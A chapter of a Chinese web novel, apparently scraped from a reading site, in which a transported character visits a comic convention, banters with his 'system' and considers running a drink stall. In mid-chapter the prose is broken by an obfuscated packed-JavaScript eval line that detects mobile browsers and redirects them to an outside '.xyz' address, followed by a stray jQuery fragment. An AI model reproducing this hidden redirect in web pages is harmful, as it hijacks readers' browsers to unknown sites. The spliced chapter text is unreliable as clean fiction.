系统沉默下来，祁帘栅见系统半天没反应，自己又没有弄清楚情况，只能愣愣站在原地。
祁帘栅感觉自己被周围人注视了好几眼，好多人看他的目光中带着他不能理解的情绪，他觉得不能放任自己继续这样下去。
于是，社恐的祁帘栅决定随机揪一个路人问问情况。
他叫住身边路过的女生，女人似乎刚才没注意到他，这回看清了祁帘栅的样子，女生满脸惊奇。
祁帘栅自觉忽视她的表情，开口问道：“请问这是什么地方？”
女生疑惑地看着他，刚想回答，突然意识到什么。她赶紧往周围看了两眼，一下将祁帘栅拉到一边，对他做了一个“嘘”的手势。
女生小声问道：“老师，你没看最新章节吗？祁帘栅被屁崩死了，现在整个圈子的人都在骂作者还有这本书，你怎么还敢cos这个角色啊？”
祁帘栅只能理解女生说的前半句话，后半句连蒙带猜，大概明白女生的意思。
女生看着祁帘栅，突然就犹豫起来，祁帘栅对她道了声谢，就准备寻找出口离开这。
他刚走两步，又被女生叫住。
女生犹豫着，还是小声说了一句：“但我还是挺喜欢这个角色的，老师，我能跟你集个邮吗？”
祁帘栅没听懂女生的话，只能站在原地，就见女生举着手机走过来，因为身高的差距，拍不到祁帘栅的脸，只能斜着手机，以一种奇怪的角度和祁帘栅拍了张合照。
祁帘栅看着女生的表情突然变得难以言喻，但又不好意思再开口叫住他，纠结地站在原地。
凭借身高优势，祁帘栅瞥见她的手机里，自己的脸看起来还挺正常，和平时照镜子没什么两样。但是同样的角度，女生的脸整整大了一圈，比现实中丑了不止一个度。
祁帘栅没忍住说道：“要不我们重拍一张吧？”
女生听到这话，明显高兴了不少，她重新站到祁帘栅身边，祁帘栅蹲下身，将脸和女生平齐，两人又拍了一张照。
女生这回明显高兴起来，跟祁帘栅打了个招呼，就又高高兴兴逛展了。
等女生走后，祁帘栅绕了半天，找到一个没人的角落，他刚松了口气，系统突然出声：“你在干嘛？”
祁帘栅吓了一跳，反应过来后，他没好气地出口：“你刚才去哪了？我叫了你这么久。”
系统“哼”了一声，不太高兴道：“下次想见我的时候记得找没人的地方，我不能在有人的时候出现，除非你用积分兑换。”
祁帘栅若有所思，“那你能看见我这边发生的事吗？”
“可以。”系统这回倒是回答得干脆。
祁帘栅受不了周围似有若无的视线，赶紧趁人靠近这边前，在心里问系统：“我现在怎么出去，等会儿找到没人的地方再盘问你。”
系统感觉到祁帘栅心中的焦急，也没再废话，给他指了一条离开这的路。
祁帘栅抬手挡在脸上，逃命般跑出人群，终于找到一片没人的地方。
他喘了几口粗气，问系统道：“漫展是什么东西？”
“你也看见了，你被当成你了，”系统嫌弃地解释道，“漫展就是一群作品爱好者，聚在一起，可以选择扮演着自己喜欢的角色，一起友好交流的地方。”
“哦。”祁帘栅若有所思点了点头，“那ooc和投厕是什么？是在夸奖我吗？”
“……”系统无语一阵，开口骂道，“什么作者把你写这么蠢？ooc是说你作出了不符合人物的言行，投厕就是觉得你cos的很垃圾，你听他口气也不像是在夸你……”
“那cos是啥？”祁帘栅在一旁弱弱问道。
系统没什么耐心道：“就是扮演。”
祁帘栅点点头，反过来安慰系统：“没事，我慢慢学不就懂了。”
系统不知道在干什么，没有接话。
祁帘栅思考了一阵，还是问道：“你说我现在的任务是自力更生，你觉得我现在做什么赚钱合适？”
系统这回倒是说话了，“你的话，没有学历，也没有工作经验，甚至连身份证都没有，找工作就别想了。”
祁帘栅听到这，忍不住反驳道：“我有学历和身份证。”
系统问道：“啥玩意？”
“神技大学毕业，熊猫市出生。”祁帘栅回答得理所应当。
系统沉默几秒，骂道：“你要不要听听自己在说什么，那是小说里不能出现真实地名，所以是沙币作者随便取的。”
“哦。”祁帘栅这回没法了，自暴自弃道，“那我能干什么？”
“你现在就相当于黑户。”系统想了想，突然眼前一亮，“你可以干些不要身份证的工作。”
“什么工作？”祁帘栅好奇道，在他的印象中，还没有什么工作可以不查身份证。
“当妆……郎。”系统的声音有些诡异。
祁帘栅听后奇道：“妆郎是什么？”
“我还没见过。”系统如实道，“不过你倒可以成为第一个。”
等祁帘栅明白妆郎是干什么的后，有些犹豫，“但是我不会化妆，也没有化妆品。”
“没事。”系统倒是很相信祁帘栅，“你练练就成，按照以往的记录，你很有龙傲天体质，应该干什么都行。”
祁帘栅半信半疑，但还是没有反驳系统的话。
“当妆郎，首先要买一些化妆品。”系统开始在系统里寻找资料，念给祁帘栅听，“我看看网上妆娘推荐，这个牌子的粉底液……”
“可是，买化妆品要钱，”祁帘栅打断系统的话，“我现在一分钱都没有。”
“我有钱，你可以赊账。”系统这下有些得意起来，“我说过积分可以兑换任何东西。”
“所以我现在有积分？”祁帘栅敏锐捕捉到系统话语中的意思。
系统卡了个壳，还是不情不愿道：“你确实有，新客礼包，一共三十积分。”
祁帘栅对积分没什么概念，问道：“三十积分能兑换什么？”
“三百块钱，或者一张满意度调查表，一个好评……哦，还有一把梳子。”系统一边翻着积分商城，一边念叨。
祁帘栅虽然是个老古董，但对这些东西的价值还是清楚的，他没忍住道：“就这些？”
系统回道：“当然不是，还可以兑换系统商城。”
“系统商城？”祁帘栅有些奇怪，“这不是你自带的吗？”
“确实。”系统嘀咕道，“所以兑换后你可以看见商城，不用再通过我兑换积分了。”
“感觉挺鸡肋。”祁帘栅排除几个没用的东西，还是说道，“那就兑换三百块钱吧。”
祁帘栅话刚说完，就有三百块钱出现在他手里。祁帘栅感叹了一下系统办事的效率，将钱折起来，装进兜里。
系统生怕他后悔一般，飞快给他兑完钱，有些好奇问：“你准备用这些钱买什么？”
祁帘栅思索一阵，“你觉得用这些钱买化妆品够吗？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251674|181991||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
系统在网上搜索了一遍，有些迟疑：“也许。”
祁帘栅听出了系统比较勉强的声音，叹道：“我也觉得不够，更何况我什么都没学会，也不好去坑别人的钱。”
“你道德感还怪强的嘞。”系统阴阳了一句，“你不干这个，还能干什么？”
祁帘栅也没着急，他穿着自己最常穿的黑色冲锋衣，将头裹起来，遮住自己的面容。
然后系统就见祁帘栅再次偷偷摸摸地溜回漫展场地，走到一处买饮品的小摊。
摊主见祁帘栅一副偷偷摸摸的样子，也没表示出什么惊奇，只热情问他：“你想喝点什么？”
祁帘栅正想随便来杯饮料，好有机会开口套话，谁知一看价格，祁帘栅顿时倒吸一口凉气。
一瓶饮料十五元，加了满满一杯冰，饮料看起来只有几口。
祁帘栅有些尴尬地愣在原地，悄声问系统：“统子，这个世界的物价是不是有点高了？”
系统高深莫测地回答道：“二次元的世界是这样的。”
祁帘栅没有犹豫，立刻放弃了买饮料套近乎的想法。
他对着摊主友善地笑了笑，犹豫几秒，还是问道：“大哥，在这里摆摊挺挣钱的吧？”
摊主大哥看了他几眼，见这会儿没有客人，自己又实在无聊，索性跟祁帘栅聊了起来。
“还可以吧，”大哥说道，“也就是赚个买菜钱，一天几百块的样子。”
祁帘栅听后，还是挺满意地点了点头，毕竟他启动资金就三百，一天回本也挺不错的。
他还没来得及再问，摊主大哥就继续说道：“但这一年也就四次，其他地方就不太行咯。”
大哥压低声音，悄悄在祁帘栅耳边道：“就不能再卖这么贵了。”
祁帘栅点点头，刚想继续问他这摊要多少钱，就听大哥问道：“所以你喝点什么？”
祁帘栅不想说话，大哥以为他还在考虑，就一直在旁边盯着他。
祁帘栅不想买饮料，但看着大哥热切的表情，没好意思拒绝，只能忍着肉痛，花了百分之五的创业资金，买了一杯饮料。
大哥见他买完饮料，心情明显好了不少。祁帘栅见状，总觉得自己不能白白浪费这杯饮料钱，又向大哥询问了其他摆摊的事项。
大哥见祁帘栅这么热切，回答了一阵总算觉出不对来，“小兄弟，你该不会是想跟我抢生意吧？”
祁帘栅见自己的意图被揭穿，不好意思地转移话题，随便找了个借口就溜了。
系统有些迟疑道：“你真准备摆摊？”
“没错。”祁帘栅丝毫不慌，“先试试看，不行再换别的。”
“我得提醒你一句，”系统好心开口，“你这张脸辨识度太高，最好遮挡一下，但是这两天高温，平均气温在三十五摄氏度以上。”
“哦。”祁帘栅丝毫不以为意。
系统见他一直端着这杯饮料，半天一口都没喝，奇怪道：“你为什么不喝饮料？难道准备孝敬系统大人我？”
祁帘栅端着饮料没动，就在系统以为他傻了的时候，祁帘栅才欲哭无泪道：“没，我就是从没喝过这么贵的东西，准备省着点，回去还能兑水喝。”
系统：“……。”他突然想起来，祁帘栅生活的时代物价好像不太一样，十五块钱应该能买一百斤大米了。
一时间，漫展路过的人都好奇地看着祁帘栅小心翼翼地捧着一杯十五块钱的柠檬水，珍重地像是捧着一块黄金。